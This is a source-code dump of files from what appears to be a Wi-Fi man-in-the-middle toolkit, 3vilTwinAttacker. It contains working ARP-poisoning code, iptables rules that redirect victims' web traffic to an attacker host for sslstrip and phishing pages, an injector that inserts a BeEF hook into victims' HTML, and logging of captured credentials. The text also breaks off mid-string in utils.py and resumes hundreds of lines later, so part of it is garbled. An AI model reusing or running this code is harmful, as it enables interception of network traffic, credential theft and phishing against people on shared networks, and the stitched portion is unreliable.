QListWidgetItem() 132 | if self.check_redirect.isChecked(): 133 | item.setText('iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80') 134 | item.setSizeHint(QSize(30,30)) 135 | self.ListRules.addItem(item) 136 | def addrulesSslstrip(self): 137 | item = QListWidgetItem() 138 | if self.checkssltripPort.isChecked(): 139 | item.setText('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port '+ 140 | self.xmlSettings('redirect', 'port', None, False)) 141 | item.setSizeHint(QSize(30,30)) 142 | self.ListRules.addItem(item) 143 | 144 | def Qui(self): 145 | self.form = QFormLayout(self) 146 | self.tabcontrol = QTabWidget(self) 147 | 148 | # tabs 149 | self.tab1 = QWidget(self) 150 | self.tab2 = QWidget(self) 151 | self.tab3 = QWidget(self) 152 | 153 | self.page_1 = QFormLayout(self.tab1) 154 | self.page_2 = QFormLayout(self.tab2) 155 | self.page_3 = QFormLayout(self.tab3) 156 | 157 | self.tabcontrol.addTab(self.tab1, 'General') 158 | self.tabcontrol.addTab(self.tab2, 'Advanced') 159 | self.tabcontrol.addTab(self.tab3,'Iptables') 160 | 161 | self.btn_save = QPushButton('Save') 162 | self.btn_save.clicked.connect(self.save_settings) 163 | self.btn_save.setFixedWidth(80) 164 | self.btn_save.setIcon(QIcon('rsc/Save.png')) 165 | 166 | self.GruPag1=QButtonGroup() 167 | self.GruPag2=QButtonGroup() 168 | self.GruPag3=QButtonGroup() 169 | self.GruPag4=QButtonGroup() 170 | 171 | self.gruButtonPag2 = QButtonGroup() 172 | 173 | #page general 174 | self.txt_ranger = QLineEdit(self) 175 | self.txt_arguments = QLineEdit(self) 176 | self.d_scapy = QRadioButton('Scapy Deauth') 177 | self.d_mdk = QRadioButton('mdk3 Deauth') 178 | self.scan_scapy = QRadioButton('Scan from scapy') 179 | self.scan_airodump = QRadioButton('Scan from airodump-ng') 180 | self.dhcp1 = QRadioButton('iscdhcpserver') 181 | self.dhcp2 = QRadioButton('dnsmasq') 182 | self.theme1 = QRadioButton('theme Dark Orange') 183 | self.theme2 = QRadioButton('theme Dark blur') 184 | 185 | #page Adavanced 186 | self.scan1 = QRadioButton('Ping Scan:: Very fast scan IP') 187 | self.scan2 = QRadioButton('Python-Nmap:: Get hostname from IP') 188 | self.interface = QLineEdit(self) 189 | self.Apname = QLineEdit(self) 190 | self.channel = QSpinBox(self) 191 | self.rangeIP = QLineEdit(self) 192 | self.redirectport = QLineEdit(self) 193 | self.InterfaceNetCreds = QLineEdit(self) 194 | 195 | # page Iptables 196 | self.ListRules = QListWidget(self) 197 | self.ListRules.setFixedHeight(300) 198 | self.ListRules.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn) 199 | self.ListRules.setMinimumWidth(self.ListRules.sizeHintForColumn(100)) 200 | self.ListRules.setContextMenuPolicy(Qt.CustomContextMenu) 201 | self.ListRules.connect(self.ListRules, 202 | SIGNAL('customContextMenuRequested(QPoint)'), 203 | self.listItemclicked) 204 | for i in range(5): 205 | j = self.xmlSettings('rules'+str(i),'value',None,False) 206 | item = QListWidgetItem() 207 | item.setText(j) 208 | item.setSizeHint(QSize(30,30)) 209 | self.ListRules.addItem(item) 210 | self.check_redirect = QCheckBox('add Redirect all Port 80 to ipaddress::10.0.0.1') 211 | self.checkssltripPort = QCheckBox('add Rules port sslstrip:'+ 212 | self.xmlSettings('redirect','port', None, False)) 213 | self.checkssltripPort.clicked.connect(self.addrulesSslstrip) 214 | self.check_redirect.clicked.connect(self.redirectAP) 215 | 216 | #grup page 1 217 | self.GruPag1.addButton(self.d_scapy) 218 | self.GruPag1.addButton(self.d_mdk) 219 | self.GruPag2.addButton(self.dhcp1) 220 | self.GruPag2.addButton(self.dhcp2) 221 | self.GruPag3.addButton(self.scan_scapy) 222 | self.GruPag3.addButton(self.scan_airodump) 223 | self.GruPag4.addButton(self.theme1) 224 | self.GruPag4.addButton(self.theme2) 225 | 226 | # grup page 2 227 | self.gruButtonPag2.addButton(self.scan1) 228 | self.gruButtonPag2.addButton(self.scan2) 229 | 230 | #page 1 231 | self.deauth_check = self.xmlSettings('deauth','select',None,False) 232 | self.scan_AP_check = self.xmlSettings('scanner_AP', 'select', None, False) 233 | self.dhcp_check = self.xmlSettings('dhcp', 'dhcp_server', None, False) 234 | self.txt_ranger.setText(self.xmlSettings('scan', 'rangeIP', None, False)) 235 | self.txt_arguments.setText(self.xmlSettings('mdk3', 'arguments', None, False)) 236 | 237 | # setting page 1 238 | self.scanIP_selected = self.xmlSettings('advanced','Function_scan',None,False) 239 | if self.scanIP_selected == 'Ping': 240 | self.scan1.setChecked(True) 241 | self.scan2.setChecked(False) 242 | elif self.scanIP_selected == 'Nmap': 243 | self.scan2.setChecked(True) 244 | self.scan1.setChecked(False) 245 | 246 | if self.deauth_check == 'packets_mdk3':self.d_mdk.setChecked(True) 247 | else:self.d_scapy.setChecked(True) 248 | 249 | if self.dhcp_check == 'iscdhcpserver':self.dhcp1.setChecked(True) 250 | else:self.dhcp2.setChecked(True) 251 | 252 | if self.scan_AP_check == 'scan_scapy': self.scan_scapy.setChecked(True) 253 | else:self.scan_airodump.setChecked(True) 254 | 255 | self.theme_selected = self.xmlSettings('themes', 'selected', None, False) 256 | if self.theme_selected == 'theme1': 257 | self.theme1.setChecked(True) 258 | else: 259 | self.theme2.setChecked(True) 260 | 261 | # tab general 262 | self.page_1.addWidget(QLabel('Configure deauth Attacker:')) 263 | self.page_1.addWidget(self.d_scapy) 264 | self.page_1.addWidget(self.d_mdk) 265 | self.page_1.addWidget(QLabel('Configure Scan diveces Attacker:')) 266 | self.page_1.addWidget(self.scan_scapy) 267 | self.page_1.addWidget(self.scan_airodump) 268 | self.page_1.addWidget(QLabel('mdk3 Arguments:')) 269 | self.page_1.addWidget(self.txt_arguments) 270 | self.page_1.addWidget(QLabel('Configure Dhcp Attacker:')) 271 | self.page_1.addWidget(self.dhcp1) 272 | self.page_1.addWidget(self.dhcp2) 273 | self.page_1.addWidget(QLabel('Configure Range ARP Posion:')) 274 | self.page_1.addWidget(self.txt_ranger) 275 | self.page_1.addWidget(QLabel('3vilTwinAttacker Themes:')) 276 | self.page_1.addWidget(self.theme1) 277 | self.page_1.addWidget(self.theme2) 278 | 279 | #settings tab Advanced 280 | self.interface.setText(self.xmlSettings('interface', 'monitor_mode', None, False)) 281 | self.Apname.setText(self.xmlSettings('AP', 'name', None, False)) 282 | self.channel.setValue(int(self.xmlSettings('channel', 'mchannel', None, False))) 283 | self.rangeIP.setText(self.xmlSettings('Iprange', 'range', None, False)) 284 | self.redirectport.setText(self.xmlSettings('redirect', 'port', None, False)) 285 | self.InterfaceNetCreds.setText(self.xmlSettings('netcreds', 'interface', None, False)) 286 | 287 | #add tab Advanced 288 | self.page_2.addRow(QLabel('Thread ScanIP:')) 289 | self.page_2.addRow(self.scan1) 290 | self.page_2.addRow(self.scan2) 291 | self.page_2.addRow('Interface Monitor:',self.interface) 292 | self.page_2.addRow('AP Name:',self.Apname) 293 | self.page_2.addRow('Channel:',self.channel) 294 | self.page_2.addRow('DHCP Range:',self.rangeIP) 295 | self.page_2.addRow('Port sslstrip:',self.redirectport) 296 | self.page_2.addRow('NetCreds Interface:',self.InterfaceNetCreds) 297 | 298 | 299 | #add tab iptables 300 | self.page_3.addWidget(QLabel('Iptables:')) 301 | self.page_3.addRow(self.ListRules) 302 | self.page_3.addRow(self.check_redirect) 303 | self.page_3.addRow(self.checkssltripPort) 304 | 305 | self.form.addRow(self.tabcontrol) 306 | self.form.addRow(self.btn_save) 307 | self.Main.addLayout(self.form) 308 | self.setLayout(self.Main) 309 | -------------------------------------------------------------------------------- /Modules/utils.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from struct import pack 18 | from fcntl import ioctl 19 | from time import sleep,asctime 20 | from random import randint 21 | from os import popen,path,walk,system,getpid 22 | from BeautifulSoup import BeautifulSoup 23 | from subprocess import call,check_output,Popen,PIPE,STDOUT 24 | from re import search,compile,VERBOSE,IGNORECASE 25 | import socket 26 | try: 27 | from nmap import PortScanner 28 | except ImportError: 29 | pass 30 | import threading 31 | from threading import Thread 32 | from Queue import Queue, Empty 33 | from scapy.all import * 34 | from PyQt4.QtCore import * 35 | from PyQt4.QtGui import * 36 | import logging 37 | def airdump_start(interface): 38 | process = ProcessThread(['xterm', 39 | '-geometry', '85x15-1+250', '-T', 40 | '"Scan AP Airodump-ng"', '-e', 'airodump-ng', interface, 41 | '--write', 'Settings/Dump/networkdump']) 42 | process.name = "Airodump-ng scan" 43 | process.start() 44 | process.join() 45 | return None 46 | 47 | def Beef_Hook_url(html,hook_url): 48 | soup = BeautifulSoup(html) 49 | try: 50 | for link_tag in soup.findAll('body'): 51 | link_tag_idx = link_tag.parent.contents.index(link_tag) 52 | link_tag.parent.insert(link_tag_idx + 1, BeautifulSoup(hook_url)) 53 | link_tag.parent.insert(link_tag_idx + 1, BeautifulSoup("',
285 | ]
286 | }
287 | return html
288 | @staticmethod
289 | def exportHtml():
290 | readFile = {
291 | 'dhcp':{'Logs/dhcp.log':[]},
292 | 'urls':{'Logs/urls.log':[]},
293 | 'credentials': {'Logs/credentials.log':[]},
294 | 'requestAP':{'Logs/requestAP.log':[]}}
295 | for i in readFile.keys():
296 | for j in readFile[i]:
297 | with open(j,'r') as file:
298 | readFile[i][j] = file.read()
299 |
300 | contenthtml = Refactor.htmlContent('3vilTwinAttacker Report')
301 | HTML = ''
302 | for i in contenthtml['htmlheader']:
303 | HTML += i+"\n"
304 | HTML += 'Report Generated at::'+asctime()+'\n'
305 | HTML += '-----------------------------------\n'
306 | HTML += '--------[ DHCP Logger ]--------\n'
307 | HTML += readFile['dhcp']['Logs/dhcp.log']
308 | HTML += '--------[ URLS Logger ]--------\n'
309 | HTML += readFile['urls']['Logs/urls.log']
310 | HTML += '--------[ Creds Logger ]--------\n'
311 | HTML += readFile['credentials']['Logs/credentials.log']
312 | HTML += '--------[ FakeAP Logger ]--------\n'
313 | HTML += readFile['requestAP']['Logs/requestAP.log']
314 | HTML += '-----------------------------------\n'
315 | HTML += '\n'+'\n'+'\n'
316 | return HTML
317 |
318 | @staticmethod
319 | def set_ip_forward(value):
320 | with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
321 | file.write(str(value))
322 | file.close()
323 | '''
324 | http://stackoverflow.com/questions/159137/getting-mac-address
325 | '''
326 | @staticmethod
327 | def getHwAddr(ifname):
328 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
329 | info = ioctl(s.fileno(), 0x8927, pack('256s', ifname[:15]))
330 | return ':'.join(['%02x' % ord(char) for char in info[18:24]])
331 |
332 | @staticmethod
333 | def get_interfaces():
334 | interfaces = {'activated':None,'all':[],'gateway':None,'IPaddress':None}
335 | proc = Popen("ls -1 /sys/class/net",stdout=PIPE, shell=True)
336 | for i in proc.communicate()[0].split():
337 | interfaces['all'].append(i)
338 | output1 = popen('route | grep default').read().split()
339 | output2 = popen('/sbin/ip route | grep default').read().split()
340 | if (output2 and output1) != []:
341 | if output1 != []:interfaces['gateway'],interfaces['activated'] = output1[1],output1[7]
342 | elif output2 != []:
343 | if path.isfile('/sbin/ip'):
344 | interfaces['gateway'],interfaces['activated'] = output2[2], output2[4]
345 | interfaces['IPaddress'] = Refactor.get_ip_local(interfaces['activated'])
346 | return interfaces
347 |
348 | @staticmethod
349 | def get_ip_local(card):
350 | if not card != None:
351 | get_interface = Refactor.get_interfaces()['activated']
352 | out = popen("ifconfig %s | grep 'Bcast'"%(get_interface)).read().split()
353 | for i in out:
354 | if search("end",i):
355 | if len(out) > 0:
356 | ip = out[2].split(":")
357 | return ip[0]
358 | if len(out) > 0:
359 | ip = out[1].split(":")
360 | return ip[1]
361 | else:
362 | out = popen("ifconfig %s | grep 'Bcast'"%(card)).read().split()
363 | for i in out:
364 | if search("end",i):
365 | if len(out) > 0:
366 | ip = out[2].split(":")
367 | return ip[0]
368 | if len(out) > 0:
369 | ip = out[1].split(":")
370 | return ip[1]
371 | return None
372 |
373 | @staticmethod
374 | def get_mac(host):
375 | fields = popen('grep "%s " /proc/net/arp' % host).read().split()
376 | if len(fields) == 6 and fields[3] != "00:00:00:00:00:00":
377 | return fields[3]
378 | else:
379 | return ' not detected'
380 |
381 | @staticmethod
382 | def get_interface_mac(device):
383 | result = check_output(["ifconfig", device], stderr=STDOUT, universal_newlines=True)
384 | m = search("(?<=HWaddr\\s)(.*)", result)
385 | if not hasattr(m, "group") or m.group(0) == None:
386 | return None
387 | return m.group(0).strip()
388 |
389 | @staticmethod
390 | def randomMacAddress(prefix):
391 | for _ in xrange(6-len(prefix)):
392 | prefix.append(randint(0x00, 0x7f))
393 | return ':'.join('%02x' % x for x in prefix)
394 |
395 |
396 | @staticmethod
397 | def check_is_mac(value):
398 | checked = compile(r"""(
399 | ^([0-9A-F]{2}[-]){5}([0-9A-F]{2})$
400 | |^([0-9A-F]{2}[:]){5}([0-9A-F]{2})$
401 | )""",VERBOSE|IGNORECASE)
402 | if checked.match(value) is None:return False
403 | else:
404 | return True
405 | @staticmethod
406 | def threadRoot(sudo_password):
407 | call(['sudo','-k'])
408 | p = Popen(['sudo', '-S','./3vilTwin-Attacker.py'], stdin=PIPE, stderr=PIPE,
409 | universal_newlines=True)
410 | waiter().start()
411 | p.communicate(str(sudo_password) + '\n')[1]
412 |
413 | @staticmethod
414 | def find(name, paths):
415 | for root, dirs, files in walk(paths):
416 | if name in files:
417 | return path.join(root, name)
418 |
419 | class waiter(threading.Thread):
420 | def run(self):
421 | sleep(10)
422 | call(['kill','-9',str(getpid())])
--------------------------------------------------------------------------------
/Modules/ModuleArpPosion.py:
--------------------------------------------------------------------------------
1 | #The MIT License (MIT)
2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team
3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of
4 | #this software and associated documentation files (the "Software"), to deal in
5 | #the Software without restriction, including without limitation the rights to
6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
7 | #the Software, and to permit persons to whom the Software is furnished to do so,
8 | #subject to the following conditions:
9 | #The above copyright notice and this permission notice shall be included in all
10 | #copies or substantial portions of the Software.
11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
17 | from PyQt4.QtGui import *
18 | from PyQt4.QtCore import *
19 | from Core.Settings import frm_Settings
20 | from Modules.ModuleUpdateFake import frm_update_attack
21 | from Modules.ModuleTemplates import frm_template
22 | from Modules.utils import ProcessThread,Refactor,ThreadScan
23 | from os import popen,chdir,getcwd,getuid,devnull,system
24 | from scapy.all import *
25 | import threading
26 | from urllib2 import urlopen,URLError
27 | from re import search,compile
28 | from multiprocessing import Process,Manager
29 | from time import sleep
30 | threadloading = {'template':[],'posion':[]}
31 |
32 | class frm_Arp(QMainWindow):
33 | def __init__(self, parent=None):
34 | super(frm_Arp, self).__init__(parent)
35 | self.form_widget = frm_Arp_Poison(self)
36 | self.setCentralWidget(self.form_widget)
37 |
38 |
39 |
40 | class ThreadAttackPosion(QThread):
41 | def __init__(self,victim,gateway,mac):
42 | QThread.__init__(self)
43 | self.victim = victim
44 | self.gateway = gateway
45 | self.mac = mac
46 | self.process = True
47 |
48 | def run(self):
49 | print 'Starting Thread:' + self.objectName()
50 | while self.process:
51 | arp = ARP(op=1,psrc=self.gateway,pdst=self.victim,hwdst=self.mac)
52 | send(arp,verbose=False)
53 | sleep(2)
54 |
55 | def stop(self):
56 | self.process = False
57 | print 'Stop thread:' + self.objectName()
58 | self.emit(SIGNAL('Activated( QString )'),'Ok')
59 |
60 |
61 | class frm_Arp_Poison(QWidget):
62 |
63 | def __init__(self, parent=None):
64 | super(frm_Arp_Poison, self).__init__(parent)
65 | self.setWindowTitle('Arp Posion Attack ')
66 | self.setWindowIcon(QIcon('rsc/icon.ico'))
67 | self.Main = QVBoxLayout()
68 | self.owd = getcwd()
69 | self.control = False
70 | self.interfaces = Refactor.get_interfaces()
71 | self.configure = frm_Settings()
72 | self.loadtheme(self.configure.XmlThemeSelected())
73 | self.module_network = Refactor
74 | self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]}
75 | self.ThreadDirc = {'Arp_posion':[]}
76 | global threadloading
77 | self.GUI()
78 |
79 | def closeEvent(self, event):
80 | if (len(self.ThreadDirc['Arp_posion']) != 0) or len(threadloading['template']) !=0:
81 | reply = QMessageBox.question(self, 'About Exit','Are you sure to close ArpPosion?', QMessageBox.Yes |
82 | QMessageBox.No, QMessageBox.No)
83 | if reply == QMessageBox.Yes:
84 | event.accept()
85 | if getuid() == 0:
86 | try:
87 | for i in self.ThreadDirc['Arp_posion']:
88 | i.stop(),i.join()
89 | for i in threadloading['template']:
90 | i.stop(),i.join()
91 | threadloading['template'] = []
92 | except:pass
93 | self.deleteLater()
94 | else:
95 | pass
96 | else:
97 | event.ignore()
98 |
99 | def loadtheme(self,theme):
100 | sshFile=("Core/%s.qss"%(theme))
101 | with open(sshFile,"r") as fh:
102 | self.setStyleSheet(fh.read())
103 |
104 | def GUI(self):
105 | self.form =QFormLayout()
106 | self.movie = QMovie('rsc/loading2.gif', QByteArray(), self)
107 | size = self.movie.scaledSize()
108 | self.setGeometry(200, 200, size.width(), size.height())
109 | self.movie_screen = QLabel()
110 | self.movie_screen.setFixedHeight(200)
111 | self.movie_screen.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
112 | self.movie_screen.setAlignment(Qt.AlignCenter)
113 | self.movie.setCacheMode(QMovie.CacheAll)
114 | self.movie.setSpeed(100)
115 | self.movie_screen.setMovie(self.movie)
116 | self.movie_screen.setDisabled(False)
117 |
118 | self.movie.start()
119 | self.tables = QTableWidget(5,3)
120 | self.tables.setRowCount(100)
121 | self.tables.setFixedHeight(200)
122 | self.tables.setSelectionBehavior(QAbstractItemView.SelectRows)
123 | self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers)
124 | self.tables.clicked.connect(self.list_clicked_scan)
125 | self.tables.resizeColumnsToContents()
126 | self.tables.resizeRowsToContents()
127 | self.tables.horizontalHeader().resizeSection(1,120)
128 | self.tables.horizontalHeader().resizeSection(0,145)
129 | self.tables.horizontalHeader().resizeSection(2,158)
130 | self.tables.verticalHeader().setVisible(False)
131 | Headers = []
132 | for key in reversed(self.data.keys()):
133 | Headers.append(key)
134 | self.tables.setHorizontalHeaderLabels(Headers)
135 |
136 | self.txt_target = QLineEdit(self)
137 | self.txt_gateway = QLineEdit(self)
138 | self.txt_redirect = QLineEdit(self)
139 | self.txt_mac = QLineEdit(self)
140 | self.ip_range = QLineEdit(self)
141 | self.txt_status_scan = QLabel('')
142 | self.txt_statusarp = QLabel('')
143 | self.txt_status_phishing = QLabel('')
144 |
145 | self.StatusMonitor(False,'stas_scan')
146 | self.StatusMonitor(False,'stas_arp')
147 | self.StatusMonitor(False,'stas_phishing')
148 | scan_range = self.configure.xmlSettings('scan','rangeIP',None,False)
149 | self.ip_range.setText(scan_range)
150 |
151 | self.btn_start_scanner = QPushButton('Scan')
152 | self.btn_stop_scanner = QPushButton('Stop')
153 | self.btn_Attack_Posion = QPushButton('Start Attack')
154 | self.btn_Stop_Posion = QPushButton('Stop Attack')
155 | self.btn_server = QPushButton('Templates')
156 | self.btn_windows_update = QPushButton('Fake Update')
157 | self.btn_server.setFixedHeight(22)
158 | self.btn_stop_scanner.setFixedWidth(100)
159 | self.btn_start_scanner.setFixedWidth(100)
160 | self.btn_start_scanner.setFixedHeight(22)
161 | self.btn_stop_scanner.setFixedHeight(22)
162 | self.btn_windows_update.setFixedHeight(22)
163 |
164 | self.btn_start_scanner.clicked.connect(self.Start_scan)
165 | self.btn_stop_scanner.clicked.connect(self.Stop_scan)
166 | self.btn_Attack_Posion.clicked.connect(self.Start_Attack)
167 | self.btn_Stop_Posion.clicked.connect(self.kill_attack)
168 | self.btn_server.clicked.connect(self.show_template_dialog)
169 | self.btn_windows_update.clicked.connect(self.show_frm_fake)
170 |
171 | #icons
172 | self.btn_start_scanner.setIcon(QIcon('rsc/network.png'))
173 | self.btn_Attack_Posion.setIcon(QIcon('rsc/start.png'))
174 | self.btn_Stop_Posion.setIcon(QIcon('rsc/Stop.png'))
175 | self.btn_stop_scanner.setIcon(QIcon('rsc/network_off.png'))
176 | self.btn_server.setIcon(QIcon('rsc/page.png'))
177 | self.btn_windows_update.setIcon(QIcon('rsc/winUp.png'))
178 |
179 | self.grid0 = QGridLayout()
180 | self.grid0.minimumSize()
181 | self.grid0.addWidget(QLabel('ArpPosion:'),0,2)
182 | self.grid0.addWidget(QLabel('Phishing:'),0,4)
183 | self.grid0.addWidget(QLabel('Scanner:'),0,0)
184 | self.grid0.addWidget(self.txt_status_scan,0,1)
185 | self.grid0.addWidget(self.txt_statusarp,0,3)
186 | self.grid0.addWidget(self.txt_status_phishing,0,5)
187 |
188 |
189 | # grid options
190 | self.grid1 = QGridLayout()
191 | self.grid1.addWidget(self.btn_start_scanner,0,0)
192 | self.grid1.addWidget(self.btn_stop_scanner,0,1)
193 | self.grid1.addWidget(self.btn_server,0,2)
194 | self.grid1.addWidget(self.btn_windows_update, 0,3)
195 |
196 | #btn
197 | self.grid2 = QGridLayout()
198 | self.grid2.addWidget(self.btn_Attack_Posion,1,0)
199 | self.grid2.addWidget(self.btn_Stop_Posion,1,5)
200 |
201 | x = self.interfaces
202 | if x['gateway'] != None:
203 | self.txt_gateway.setText(x['gateway'])
204 | self.txt_redirect.setText(x['IPaddress'])
205 | self.txt_mac.setText(Refactor.getHwAddr(x['activated']))
206 |
207 | self.form0 = QGridLayout()
208 | self.form0.addWidget(self.movie_screen,0,0)
209 | self.form0.addWidget(self.tables,0,0)
210 | self.form.addRow(self.form0)
211 | self.form.addRow(self.grid1)
212 | self.form.addRow('Target:', self.txt_target)
213 | self.form.addRow('Gateway:', self.txt_gateway)
214 | self.form.addRow('MAC address:', self.txt_mac)
215 | self.form.addRow('Redirect IP:', self.txt_redirect)
216 | self.form.addRow('IP ranger Scan:',self.ip_range)
217 | self.form.addRow(self.grid0)
218 | self.form.addRow(self.grid2)
219 | self.Main.addLayout(self.form)
220 | self.setLayout(self.Main)
221 |
222 | def thread_scan_reveice(self,info_ip):
223 | self.StatusMonitor(False,'stas_scan')
224 | self.movie_screen.setDisabled(False)
225 | self.tables.setVisible(True)
226 | data = info_ip.split('|')
227 | Headers = []
228 | self.data['IPaddress'].append(data[0])
229 | self.data['MacAddress'].append(data[1])
230 | self.data['Hostname'].append(data[2])
231 | for n, key in enumerate(reversed(self.data.keys())):
232 | Headers.append(key)
233 | for m, item in enumerate(self.data[key]):
234 | item = QTableWidgetItem(item)
235 | item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter)
236 | self.tables.setItem(m, n, item)
237 | Headers = []
238 | for key in reversed(self.data.keys()):
239 | Headers.append(key)
240 | self.tables.setHorizontalHeaderLabels(Headers)
241 |
242 |
243 | def show_frm_fake(self):
244 | self.n = frm_update_attack()
245 | self.n.setGeometry(QRect(100, 100, 450, 300))
246 | self.n.show()
247 |
248 | def emit_template(self,log):
249 | if log == 'started':
250 | self.StatusMonitor(True,'stas_phishing')
251 |
252 | def show_template_dialog(self):
253 | self.Ftemplates = frm_template()
254 | self.connect(self.Ftemplates,SIGNAL('Activated ( QString ) '), self.emit_template)
255 | self.Ftemplates.setWindowTitle('Templates Phishing Attack')
256 | self.Ftemplates.txt_redirect.setText(self.txt_redirect.text())
257 | self.Ftemplates.show()
258 |
259 | def kill_attack(self):
260 | for i in self.ThreadDirc['Arp_posion']:
261 | i.stop()
262 | for i in threadloading['template']:
263 | i.stop(),i.join()
264 | threadloading['template'] = []
265 | try:
266 | self.Ftemplates.killThread()
267 | except:pass
268 | chdir(self.owd)
269 | self.StatusMonitor(False,'stas_arp')
270 | self.StatusMonitor(False,'stas_phishing')
271 | self.conf_attack(False)
272 | Refactor.set_ip_forward(0)
273 |
274 | @pyqtSlot(QModelIndex)
275 | def check_options(self,index):
276 | if self.check_face.isChecked():
277 | self.check_route.setChecked(False)
278 | self.check_gmail.setChecked(False)
279 |
280 | elif self.check_gmail.isChecked():
281 | self.check_face.setChecked(False)
282 | self.check_route.setChecked(False)
283 | else:
284 | self.check_face.setChecked(False)
285 | self.check_gmail.setChecked(False)
286 |
287 | def StopArpAttack(self,data):
288 | self.StatusMonitor(False,'stas_arp')
289 | def Start_Attack(self):
290 | if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0:
291 | QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly')
292 | else:
293 | chdir(self.owd)
294 | if (len(self.txt_target.text()) and len(self.txt_gateway.text())) and len(self.txt_mac.text()) != 0:
295 | if len(self.txt_redirect.text()) != 0:
296 | self.StatusMonitor(True,'stas_arp')
297 | Refactor.set_ip_forward(1)
298 | self.conf_attack(True)
299 | thr = ThreadAttackPosion(str(self.txt_target.text()),
300 | str(self.txt_gateway.text()),
301 | str(self.txt_mac.text()))
302 | self.connect(thr,SIGNAL('Activated ( QString ) '), self.StopArpAttack)
303 | thr.setObjectName('Arp Posion')
304 | self.ThreadDirc['Arp_posion'].append(thr)
305 | thr.start()
306 |
307 | def conf_attack(self,bool_conf):
308 | if bool_conf:
309 | self.ip = self.txt_redirect.text()
310 | if len(self.ip) != 0:
311 | iptables = [
312 | 'iptables -t nat --flush',
313 | 'iptables -A FORWARD --in-interface '+str(self.txt_gateway.text())+' -j ACCEPT',
314 | 'iptables -t nat --append POSTROUTING --out-interface ' +self.interfaces['activated'] +' -j MASQUERADE',
315 | 'iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.ip
316 | ]
317 | for i in iptables:
318 | try:system(i)
319 | except:pass
320 | else:
321 | QMessageBox.information(self,'Error Redirect IP','Redirect IP not found')
322 | else:
323 | nano = [
324 | 'iptables --flush',
325 | 'iptables --table nat --flush' ,\
326 | 'iptables --delete-chain', 'iptables --table nat --delete-chain'
327 | ]
328 | for delete in nano: popen(delete)
329 |
330 | def Start_scan(self):
331 | self.StatusMonitor(True,'stas_scan')
332 | threadscan_check = self.configure.xmlSettings('advanced','Function_scan',None,False)
333 | self.tables.clear()
334 | self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]}
335 | if threadscan_check == 'Nmap':
336 | try:
337 | from nmap import PortScanner
338 | except ImportError:
339 | QMessageBox.information(self,'Error Nmap','The modules python-nmap not installed')
340 | return
341 | if self.txt_gateway.text() != '':
342 | self.movie_screen.setDisabled(True)
343 | self.tables.setVisible(False)
344 | config_gateway = str(self.txt_gateway.text())
345 | scan = ''
346 | config_gateway = config_gateway.split('.')
347 | del config_gateway[-1]
348 | for i in config_gateway:
349 | scan += str(i) + '.'
350 | self.ThreadScanner = ThreadScan(scan + '0/24')
351 | self.connect(self.ThreadScanner,SIGNAL('Activated ( QString ) '), self.thread_scan_reveice)
352 | self.StatusMonitor(True,'stas_scan')
353 | self.ThreadScanner.start()
354 | else:
355 | QMessageBox.information(self,'Error in gateway','gateway not found.')
356 |
357 | elif threadscan_check == 'Ping':
358 | if self.txt_gateway.text() != '':
359 | config = str(self.txt_gateway.text())
360 | t = threading.Thread(target=self.scanner_network,args=(config,))
361 | t.daemon = True
362 | t.start(),t.join()
363 | self.StatusMonitor(False,'stas_scan')
364 | else:
365 | QMessageBox.information(self,'Error in gateway','gateway not found.')
366 | else:
367 | QMessageBox.information(self,'Error on select thread Scan','thread scan not selected.')
368 |
369 | def working(self,ip,lista):
370 | with open(devnull, 'wb') as limbo:
371 | result=subprocess.Popen(['ping', '-c', '1', '-n', '-W', '1', ip],
372 | stdout=limbo, stderr=limbo).wait()
373 | if not result:
374 | print('online',ip)
375 | lista[ip] = ip + '|' + self.module_network.get_mac(ip)
376 |
377 | def scanner_network(self,gateway):
378 | scan = ''
379 | config_gateway = gateway.split('.')
380 | del config_gateway[-1]
381 | for i in config_gateway:
382 | scan += str(i) + '.'
383 | gateway = scan
